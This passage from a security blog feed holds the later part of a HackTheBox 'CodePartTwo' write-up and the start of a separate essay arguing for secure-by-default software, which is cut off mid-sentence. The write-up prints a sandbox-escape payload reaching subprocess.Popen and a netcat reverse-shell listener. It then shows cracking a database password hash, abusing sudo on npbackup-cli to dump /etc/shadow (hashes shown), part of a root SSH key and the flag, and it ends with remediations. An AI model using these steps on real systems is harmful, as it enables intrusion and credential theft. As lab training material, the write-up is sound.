#9ECBFF);">__class__</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>)</span><span>[</span><span>base</span><span>]</span></span> <span class="giallo-l"><span>getattr</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span> obj</span><span>[</span><span>getattribute</span><span>]</span></span> <span class="giallo-l"><span>sub_class</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#032F62, #9ECBFF);"> &#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">__subclasses__</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span>;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">function</span><span style="color: light-dark(#6F42C1, #B392F0);"> findpopen</span><span>(</span><span style="color: light-dark(#E36209, #FFAB70);">o</span><span>)</span><span> {</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> let</span><span> result</span><span>;</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> for</span><span>(</span><span style="color: light-dark(#D73A49, #F97583);">let</span><span> i</span><span style="color: light-dark(#D73A49, #F97583);"> in</span><span> o</span><span>[</span><span>sub_class</span><span>]</span><span>(</span><span>)</span><span>)</span><span> {</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> let</span><span> item</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span> o</span><span>[</span><span>sub_class</span><span>]</span><span>(</span><span>)</span><span>[</span><span>i</span><span>]</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> if</span><span>(</span><span>item</span><span>.</span><span>__module__</span><span style="color: light-dark(#D73A49, #F97583);"> ==</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">subprocess</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span style="color: light-dark(#D73A49, #F97583);"> &amp;&amp;</span><span> item</span><span>.</span><span>__name__</span><span style="color: light-dark(#D73A49, #F97583);"> ==</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">Popen</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>)</span><span> {</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> return</span><span> item</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> if</span><span>(</span><span>item</span><span>.</span><span>__name__</span><span style="color: light-dark(#D73A49, #F97583);"> !=</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">type</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span style="color: light-dark(#D73A49, #F97583);"> &amp;&amp;</span><span> (</span><span>result</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#6F42C1, #B392F0);"> findpopen</span><span>(</span><span>item</span><span>)</span><span>)</span><span>)</span><span> {</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> return</span><span> result</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>n11</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#6F42C1, #B392F0);"> findpopen</span><span>(</span><span>obj</span><span>)</span><span>(</span><span>command</span><span>,</span><span style="color: light-dark(#D73A49, #F97583);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">1</span><span>,</span><span style="color: light-dark(#005CC5, #79B8FF);"> null</span><span>,</span><span style="color: light-dark(#D73A49, #F97583);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">1</span><span>,</span><span style="color: light-dark(#D73A49, #F97583);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">1</span><span>,</span><span style="color: light-dark(#D73A49, #F97583);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">1</span><span>,</span><span style="color: light-dark(#005CC5, #79B8FF);"> null</span><span>,</span><span style="color: light-dark(#005CC5, #79B8FF);"> null</span><span>,</span><span style="color: light-dark(#005CC5, #79B8FF);"> true</span><span>)</span><span>.</span><span style="color: light-dark(#6F42C1, #B392F0);">communicate</span><span>(</span><span>)</span></span></code></pre> <p>By setting up a listener and running this in the browser, we gain a foothold as username <code>app</code>.</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">┌──(akses㉿kali</span><span>)-</span><span>[</span><span>~/htb/codeparttwo</span><span>]</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">└─$</span><span style="color: light-dark(#032F62, #9ECBFF);"> nc</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">lnvp</span><span style="color: light-dark(#005CC5, #79B8FF);"> 4242</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">listening</span><span style="color: light-dark(#032F62, #9ECBFF);"> on</span><span> [any</span><span>] 4242 ...</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">connect</span><span style="color: light-dark(#032F62, #9ECBFF);"> to</span><span> [10.10.14.19</span><span>] from (</span><span style="color: light-dark(#6F42C1, #B392F0);">UNKNOWN</span><span>) </span><span>[</span><span>10.129.232.59</span><span>]</span><span> 40176</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">bash:</span><span style="color: light-dark(#032F62, #9ECBFF);"> cannot</span><span style="color: light-dark(#032F62, #9ECBFF);"> set</span><span style="color: light-dark(#032F62, #9ECBFF);"> terminal</span><span style="color: light-dark(#032F62, #9ECBFF);"> process</span><span style="color: light-dark(#032F62, #9ECBFF);"> group</span><span> (922</span><span>): Inappropriate ioctl </span><span style="color: light-dark(#D73A49, #F97583);">for</span><span> device</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">bash:</span><span style="color: light-dark(#032F62, #9ECBFF);"> no</span><span style="color: light-dark(#032F62, #9ECBFF);"> job</span><span style="color: light-dark(#032F62, #9ECBFF);"> control</span><span style="color: light-dark(#032F62, #9ECBFF);"> in</span><span style="color: light-dark(#032F62, #9ECBFF);"> this</span><span style="color: light-dark(#032F62, #9ECBFF);"> shell</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">app@codeparttwo:~/app$</span><span style="color: light-dark(#032F62, #9ECBFF);"> id</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">id</span></span> <span class="giallo-l"><span>uid</span><span style="color: light-dark(#D73A49, #F97583);">=</span><span style="color: light-dark(#032F62, #9ECBFF);">1</span><span style="color: light-dark(#032F62, #9ECBFF);">0</span><span style="color: light-dark(#032F62, #9ECBFF);">0</span><span style="color: light-dark(#032F62, #9ECBFF);">1</span><span>(</span><span style="color: light-dark(#6F42C1, #B392F0);">app</span><span>)</span><span> gid</span><span style="color: light-dark(#D73A49, #F97583);">=</span><span style="color: light-dark(#032F62, #9ECBFF);">1</span><span style="color: light-dark(#032F62, #9ECBFF);">0</span><span style="color: light-dark(#032F62, #9ECBFF);">0</span><span style="color: light-dark(#032F62, #9ECBFF);">1</span><span>(</span><span style="color: light-dark(#6F42C1, #B392F0);">app</span><span>)</span><span> groups</span><span style="color: light-dark(#D73A49, #F97583);">=</span><span style="color: light-dark(#032F62, #9ECBFF);">1</span><span style="color: light-dark(#032F62, #9ECBFF);">0</span><span style="color: light-dark(#032F62, #9ECBFF);">0</span><span style="color: light-dark(#032F62, #9ECBFF);">1</span><span>(</span><span style="color: light-dark(#6F42C1, #B392F0);">app</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">app@codeparttwo:~/app$</span></span></code></pre><h2 id="post-exploitation">Post-Exploitation</h2> <p>A quick <code>cat /etc/passwd</code> shows us that there is <code>root</code>, <code>app</code> and <code>marco</code> as shelled users on the box. We don't have access to marco's files so we either need to escalate our privileges to root or marco in order to solve this box.</p> <p>The <code>/home/app/app/instance</code> directory houses the users.db file that we can exfiltrate and inspect offline. It is a SQLite 3.x database. Kali comes with sqlitebrowser, that gives us a GUI way to browse its contents, and its in the <code>users</code> table where we can find the password hash for the user <code>marco</code>.</p> <p><img src="https://trapdoorsec.com/writeups/code-part-2/codeparttwo-sqlite.png" alt="" /></p> <p>These are raw MD5 hashes and the <code>marco</code> hash is vulnerable to a dictionary attack using <code>john</code></p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">┌──(akses㉿kali</span><span>)-</span><span>[</span><span>~/htb/codeparttwo</span><span>]</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">└─$</span><span style="color: light-dark(#032F62, #9ECBFF);"> john</span><span style="color: light-dark(#032F62, #9ECBFF);"> ./hashes.txt</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-format=Raw-MD5</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-wordlist=/usr/share/wordlists/rockyou.txt</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">Using</span><span style="color: light-dark(#032F62, #9ECBFF);"> default</span><span style="color: light-dark(#032F62, #9ECBFF);"> input</span><span style="color: light-dark(#032F62, #9ECBFF);"> encoding:</span><span style="color: light-dark(#032F62, #9ECBFF);"> UTF-8</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">Loaded</span><span style="color: light-dark(#005CC5, #79B8FF);"> 2</span><span style="color: light-dark(#032F62, #9ECBFF);"> password</span><span style="color: light-dark(#032F62, #9ECBFF);"> hashes</span><span style="color: light-dark(#032F62, #9ECBFF);"> with</span><span style="color: light-dark(#032F62, #9ECBFF);"> no</span><span style="color: light-dark(#032F62, #9ECBFF);"> different</span><span style="color: light-dark(#032F62, #9ECBFF);"> salts</span><span> (Raw-MD5 [MD5</span><span style="color: light-dark(#032F62, #9ECBFF);"> 512/512</span><span style="color: light-dark(#032F62, #9ECBFF);"> AVX512BW</span><span style="color: light-dark(#032F62, #9ECBFF);"> 16x3]</span><span>)</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">Warning:</span><span style="color: light-dark(#032F62, #9ECBFF);"> no</span><span style="color: light-dark(#032F62, #9ECBFF);"> OpenMP</span><span style="color: light-dark(#032F62, #9ECBFF);"> support</span><span style="color: light-dark(#032F62, #9ECBFF);"> for</span><span style="color: light-dark(#032F62, #9ECBFF);"> this</span><span style="color: light-dark(#032F62, #9ECBFF);"> hash</span><span style="color: light-dark(#032F62, #9ECBFF);"> type,</span><span style="color: light-dark(#032F62, #9ECBFF);"> consider</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-fork=4</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">Press</span><span style="color: light-dark(#032F62, #9ECBFF);"> &#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">q</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span style="color: light-dark(#032F62, #9ECBFF);"> or</span><span style="color: light-dark(#032F62, #9ECBFF);"> Ctrl-C</span><span style="color: light-dark(#032F62, #9ECBFF);"> to</span><span style="color: light-dark(#032F62, #9ECBFF);"> abort,</span><span style="color: light-dark(#032F62, #9ECBFF);"> almost</span><span style="color: light-dark(#032F62, #9ECBFF);"> any</span><span style="color: light-dark(#032F62, #9ECBFF);"> other</span><span style="color: light-dark(#032F62, #9ECBFF);"> key</span><span style="color: light-dark(#032F62, #9ECBFF);"> for</span><span style="color: light-dark(#032F62, #9ECBFF);"> status</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">sweetangelbabylove</span><span> (marco</span><span>)</span></span></code></pre> <p>By using the username <code>marco</code> and password <code>sweetangelbabylove</code> we're able to login via SSH as marco and get the first flag for the foothold!</p> <h2 id="privilege-escalation">Privilege Escalation</h2> <p>Inspecting the sudoers with <code>sudo -l</code> shows that marco can run a backup utility called <code>npbackup-cli</code> with sudo, making this a possible privesc vulnerability if we can force this tool to do our bidding.</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">marco@codeparttwo:~$</span><span style="color: light-dark(#032F62, #9ECBFF);"> sudo</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">l</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">Matching</span><span style="color: light-dark(#032F62, #9ECBFF);"> Defaults</span><span style="color: light-dark(#032F62, #9ECBFF);"> entries</span><span style="color: light-dark(#032F62, #9ECBFF);"> for</span><span style="color: light-dark(#032F62, #9ECBFF);"> marco</span><span style="color: light-dark(#032F62, #9ECBFF);"> on</span><span style="color: light-dark(#032F62, #9ECBFF);"> codeparttwo:</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);"> env_reset,</span><span style="color: light-dark(#032F62, #9ECBFF);"> mail_badpass,</span><span style="color: light-dark(#032F62, #9ECBFF);"> secure_path=/usr/local/sbin</span><span style="color: light-dark(#005CC5, #79B8FF);">\:</span><span style="color: light-dark(#032F62, #9ECBFF);">/usr/local/bin</span><span style="color: light-dark(#005CC5, #79B8FF);">\:</span><span style="color: light-dark(#032F62, #9ECBFF);">/usr/sbin</span><span style="color: light-dark(#005CC5, #79B8FF);">\:</span><span style="color: light-dark(#032F62, #9ECBFF);">/usr/bin</span><span style="color: light-dark(#005CC5, #79B8FF);">\:</span><span style="color: light-dark(#032F62, #9ECBFF);">/sbin</span><span style="color: light-dark(#005CC5, #79B8FF);">\:</span><span style="color: light-dark(#032F62, #9ECBFF);">/bin</span><span style="color: light-dark(#005CC5, #79B8FF);">\:</span><span style="color: light-dark(#032F62, #9ECBFF);">/snap/bin</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">User</span><span style="color: light-dark(#032F62, #9ECBFF);"> marco</span><span style="color: light-dark(#032F62, #9ECBFF);"> may</span><span style="color: light-dark(#032F62, #9ECBFF);"> run</span><span style="color: light-dark(#032F62, #9ECBFF);"> the</span><span style="color: light-dark(#032F62, #9ECBFF);"> following</span><span style="color: light-dark(#032F62, #9ECBFF);"> commands</span><span style="color: light-dark(#032F62, #9ECBFF);"> on</span><span style="color: light-dark(#032F62, #9ECBFF);"> codeparttwo:</span></span> <span class="giallo-l"><span> (</span><span style="color: light-dark(#6F42C1, #B392F0);">ALL</span><span style="color: light-dark(#032F62, #9ECBFF);"> :</span><span style="color: light-dark(#032F62, #9ECBFF);"> ALL</span><span>)</span><span style="color: light-dark(#6F42C1, #B392F0);"> NOPASSWD:</span><span style="color: light-dark(#032F62, #9ECBFF);"> /usr/local/bin/npbackup-cli</span></span></code></pre><h3 id="lolbin-npbackup-cli">LoLbin: npbackup-cli</h3> <p>As luck would have it, there is a misconfiguration based privilege escalation proof of concept on <a rel="external" href="https://github.com/AliElKhatteb/npbackup-cli-priv-escalation">github</a>. By uploading and modifying this file we can read the root flag or the shadow file.</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">marco@codeparttwo:/tmp$</span><span style="color: light-dark(#032F62, #9ECBFF);"> sudo</span><span style="color: light-dark(#032F62, #9ECBFF);"> npbackup-cli</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">c</span><span style="color: light-dark(#032F62, #9ECBFF);"> ./backup.cfg</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-backup</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">2025-11-21</span><span style="color: light-dark(#032F62, #9ECBFF);"> 16:47:32,929</span><span style="color: light-dark(#032F62, #9ECBFF);"> ::</span><span style="color: light-dark(#032F62, #9ECBFF);"> INFO</span><span style="color: light-dark(#032F62, #9ECBFF);"> ::</span><span style="color: light-dark(#032F62, #9ECBFF);"> npbackup</span><span style="color: light-dark(#032F62, #9ECBFF);"> 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i</span><span style="color: light-dark(#005CC5, #79B8FF);"> 2025032101</span><span style="color: light-dark(#032F62, #9ECBFF);"> -</span><span style="color: light-dark(#032F62, #9ECBFF);"> Copyright</span><span> (C</span><span>) 2022-2025 NetInvent</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">&lt;</span><span>SNIP</span><span style="color: light-dark(#D73A49, #F97583);">&gt;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">processed</span><span style="color: light-dark(#005CC5, #79B8FF);"> 1</span><span style="color: light-dark(#032F62, #9ECBFF);"> files,</span><span style="color: light-dark(#005CC5, #79B8FF);"> 1.339</span><span style="color: light-dark(#032F62, #9ECBFF);"> KiB</span><span style="color: light-dark(#032F62, #9ECBFF);"> in</span><span style="color: light-dark(#032F62, #9ECBFF);"> 0:00</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">snapshot</span><span style="color: light-dark(#032F62, #9ECBFF);"> 763308b2</span><span style="color: light-dark(#032F62, #9ECBFF);"> saved</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">&lt;</span><span>SNIP</span><span style="color: light-dark(#D73A49, #F97583);">&gt;</span></span></code></pre> <p>And following up with this command to dump the backup we saved as root.</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">marco@codeparttwo:/tmp$</span><span style="color: light-dark(#032F62, #9ECBFF);"> sudo</span><span style="color: light-dark(#032F62, #9ECBFF);"> /usr/local/bin/npbackup-cli</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">c</span><span style="color: light-dark(#032F62, #9ECBFF);"> npbackup.conf</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-dump</span><span style="color: light-dark(#032F62, #9ECBFF);"> /etc/shadow</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-snapshot-id</span><span style="color: light-dark(#032F62, #9ECBFF);"> 763308b2</span></span> <span class="giallo-l"><span>{</span><span style="color: light-dark(#6F42C1, #B392F0);">&quot;</span><span style="color: light-dark(#6F42C1, #B392F0);">result</span><span style="color: light-dark(#6F42C1, #B392F0);">&quot;</span><span style="color: light-dark(#005CC5, #79B8FF);">:</span><span style="color: light-dark(#005CC5, #79B8FF);"> false</span><span style="color: light-dark(#032F62, #9ECBFF);">,</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">reason</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">:</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">Config file npbackup.conf cannot be read or does not exist</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">}</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">marco@codeparttwo:/tmp$</span><span style="color: light-dark(#032F62, #9ECBFF);"> sudo</span><span style="color: light-dark(#032F62, #9ECBFF);"> /usr/local/bin/npbackup-cli</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">c</span><span style="color: light-dark(#032F62, #9ECBFF);"> ./backup.cfg</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-dump</span><span style="color: light-dark(#032F62, #9ECBFF);"> /etc/shadow</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-snapshot-id</span><span style="color: light-dark(#032F62, #9ECBFF);"> 763308b2</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">root:$6$UM1RuabUYlt5BQ5q$ZtzAfYOaCaFxA8MGbyH1hegFpzQmJrpIkx7vEIKvXoVl830AXAx1Hgh8r11GlpXgY25LK8wF76nvQYQ1wLSn71:20104:0:99999:7:::</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">&lt;</span><span>SNIP</span><span style="color: light-dark(#D73A49, #F97583);">&gt;</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">marco:$6$i5xRI7UVqeBITIby$NQKHXVvAWz7Vl3QkEwgxw0ItF9Lwen4gGCBi.YYiDQTdkgcPABaqfmBzheAM/9JA/9J7szqDzPaIDbkNqc.0V.:20022:0:99999:7:::</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">app:$6$5iH3Zik78QR8t9Se$bgRAig/YjbMzwOTFME629sLrrTn2avVD9pLFwz0X2zBTz0LYfNIEuw6w5s53NNu2K7IeEJK4D6j9PB6SR.UvC0:20022:0:99999:7:::</span></span></code></pre><h2 id="root-access">Root Access</h2> <p>The above root hash wasn't easily crackable with <code>john</code> and <code>rockyou.txt</code> so I just used the above approach to guess the flag location and read out <code>/root/root.txt</code> to yield the flag: <code>09cd485933fb29e34fefb7f5a9ea00d8</code> -- which is a shortcut.</p> <p>However, it should be noted that the following private key is stored in <code>/root/.ssh/id_rsa</code> which can be used to login as the root account.</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="plain"><span class="giallo-l"><span>-----BEGIN OPENSSH PRIVATE KEY-----</span></span> <span class="giallo-l"><span>b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn</span></span> <span class="giallo-l"><span>&lt;SNIP&gt;</span></span> <span class="giallo-l"><span>MBhgprGCU3dhhJMQAAAAxyb290QGNvZGV0d28BAgMEBQ==</span></span> <span class="giallo-l"><span>-----END OPENSSH PRIVATE KEY-----</span></span></code></pre> <p>This key is passwordless, and allows immediate SSH access to the flag.</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">┌──(akses㉿kali</span><span>)-</span><span>[</span><span>~/htb/codeparttwo</span><span>]</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">└─$</span><span style="color: light-dark(#032F62, #9ECBFF);"> ssh</span><span style="color: light-dark(#032F62, #9ECBFF);"> root@codeparttwo</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">i</span><span style="color: light-dark(#032F62, #9ECBFF);"> ./root.key</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">&lt;</span><span>SNIP</span><span style="color: light-dark(#D73A49, #F97583);">&gt;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">root@codeparttwo:~#</span><span style="color: light-dark(#032F62, #9ECBFF);"> cat</span><span style="color: light-dark(#032F62, #9ECBFF);"> root.txt</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">09cd485933fb29e34fefb7f5a9ea00d8</span></span></code></pre> <p><img src="https://trapdoorsec.com/writeups/code-part-2/codeparttwo-pwnd.png" alt="" /></p> <h1 id="suggested-remediations">Suggested remediations</h1> <ol> <li>Maintain regular patching of code libraries and dependencies in the web application</li> <li>Reconsider allowing code execution directly against the webserver host via the website, apply segregation of responsibility to the application architecure, e.g. use of epehermeral execution environments that cannot access the webserver host.</li> <li>Ensure passwords are strong and not reused between applications and services. Always use password protected certificates for all privileged access (e.g. via SSH, databases, etc)</li> <li>Avoid manual backup procedures that rely on low privileged users having elevated privilege. Consider a seperate backup server with RBAC to prevent unauthorized access to the webservers root filesystem.</li> </ol> <h1 id="my-review-4-stars">My review: 4 stars</h1> <p>I enjoyed this box as it was simple and somewhat realistic - developer tooling has historically been a problematic area because of the need to run as administrator on workstations, and CI/CD tooling needing to allow remote arbitrary code excetion as a feature. Normally this would be considered a security flaw - not a feature! So the owners of these tools need to be extremely careful about sandboxing the environment that allows untrusted input. I didn't give it 5 stars because I think that the scenario is a little contrived and it would be (IMO) more interesting to explore a box that attempted to give this feature to others with some more thought given to the architecture. Given 'code' part one used docker containers (if I recall correctly), this approach seems like a regression rather than an improved architecture.</p> The Cost of Complacency: Why 'Secure by Default' Isn't Just Nice to Have. 2024-08-26T00:00:00+00:00 2024-08-26T00:00:00+00:00 akses https://trapdoorsec.com/posts/the-cost-of-complacency/ <p>In an era where cyber threats loom larger than ever, being a good global citizen means prioritizing not just functional software but also security by design. <em>Security is an expected function.</em></p> <h2 id="stock-image-of-a-lock-being-damaged-using-ice"><img src="/img/stock-lock.jpeg" alt="stock image of a lock being damaged using ice" /></h2> <h1 id="software-isn-t-difficult-humans-are">Software isn't difficult, humans are.</h1> <p>You know that overused <a rel="external" href="https://martinfowler.com/bliki/TwoHardThings.html">joke in software circles</a> about there being two hard things? Well, one of those things, 'naming things' I feel extends to <em>defining things</em>, because this is where software's value actually lies: the interpretation and delivery of human requirements, which are notoriously difficult to pinpoint sometimes.</p> <p>Example time, "Make the car drive autonomously" might look like a requirement to the average person, but in fact it is more of a <em>desirement</em> because it doesn't adequately express the complexities involved such that two different designs would both meet a standard. Did you mean safely? What does that mean? Should it drive on the left or the right side of the road? Oh, it's country dependent? How will it know, oh, so it needs GPS. Right. What if that fails? *</p> <p>So we need to understand, that to a product team, saying 'secure by default plzkthxbai' is really just a way of being annoying and 100% non-constructive. They <em>know</em> it's a good idea, just... how?</p> <h1 id="why-do-we-even-care-about-secure-by-default">Why do we even care about secure by default?</h1> <p>OK so, I'll admit, if somebody says to me that secure by default is not a priority, I get a bit hot-blooded. It makes me want to lean into the fact that I'm a grumpy old man and tell the war stories again.</p> <p>Reality is though, people clutch their pearls every time something awful happens, but nothing materially changes the status quo.</p> <h2 id="the-morris-worm-incident">The Morris Worm incident</h2> <p>In 1988, an enterprising young student named Robert created what he thought was a harmless experiment, presumably, to measure the size of ... um... the Internet. (Morris is reported to have stated that he only did it to see if it could be done.)</p> <p><img src="https://www.vice.com/wp-content/uploads/sites/2/2017/10/1508840382333-robert-morris-primo-worm.jpeg" alt="Robert Morris relaxing at his computer drinking a coke" /></p> <p>However, his program relied on a default password and a buffer overflow vulnerability in the canonical email service of the day: <code>sendmail</code> - a Unix program.</p> <p>He designed a self replication component to his program, and before he could say 'off by one error' he had infected around 10% of the Internets servers at the time (approx 6000 machines), and caused millions of dollars damage in lost productivity.</p> <p>This moment was pretty significant, in that it hadn't really happened on this scale before, but it also perfectly demonstrates why having insecure defaults opens us up to one of the nastiest types of malware: the worm - a self replicating program capable of spreading itself without user interactions.</p> <h2 id="the-code-red-incident">The Code Red Incident</h2> <p>Another example: we used to be OK with Windows Server 2003 leaving port 445 (SMB protocol) open on install. Code Red made especially good use of this fact - some of you will remember - their cyberattack of 2001 which targeted another default configuration in IIS (open port 80). 24 hours, 350000 servers brought to their knees, billions in lost productivity. (Moore, Shannon, Klaffy 2002)</p> <p>You can see where the product design decisions come from: make the Internet easy to play with! Make networking easy! Minimize the clicks a server admin needs to take in order to 'get online'! All laudable, money making ideas. Entirely insecure.</p> <p>Alas, these weren't entirely addressed until 5 years later, in Windows Server 2008 as Microsoft now had the 'very insecure' label that they probably wanted to shake.</p> <h2 id="fast-forward-to-2024-ipv6-has-the-same-problem">Fast forward to 2024: IPv6 has the same problem</h2> <p>It has recently been revealed that <a rel="external" href="https://www.theregister.com/2024/08/14/august_patch_tuesday_ipv6/">IPv6 had a vulnerability</a>, causing concern among IT professionals.</p> <p>The reason for this is that it also is 'wormable'. Why is that? How can a bug in an internet protocol do that, when there was no default password?</p> <p>In this case, the issue is that many devices and indeed operating systems, enable IPv6 by default, <em>even though they don't strictly need it</em>. Combine that fact with the remote code execution vulnerability in IPv6, and suddenly, we have a worm.</p> <h2 id="conclusion-water-is-wet-and-investors-don-t-care">Conclusion: Water is wet and investors don't care.</h2> <p>All this did not ruin Microsoft, Unix still exists today, SMB is still a protocol that is used. So, none of the impacts where so bad that humanity cancelled them from all relevance. This tale is repeated in the Solarwinds breach and Crowdstrike outages of late. Go have a look at Crowdstrike share price, I dare you.</p> <p><img src="/img/CRWD-stock-price.png" alt="CRWD stock price showing their almost immediate recovery from perhaps the biggest outage in IT history" /></p> <p>Now look at Equifax.</p> <p><img src="/img/EFX-stock-price.png" alt="EFX stock price showing their continued rise in value since a massive databreach in 2017" /></p> <p>It would seem that 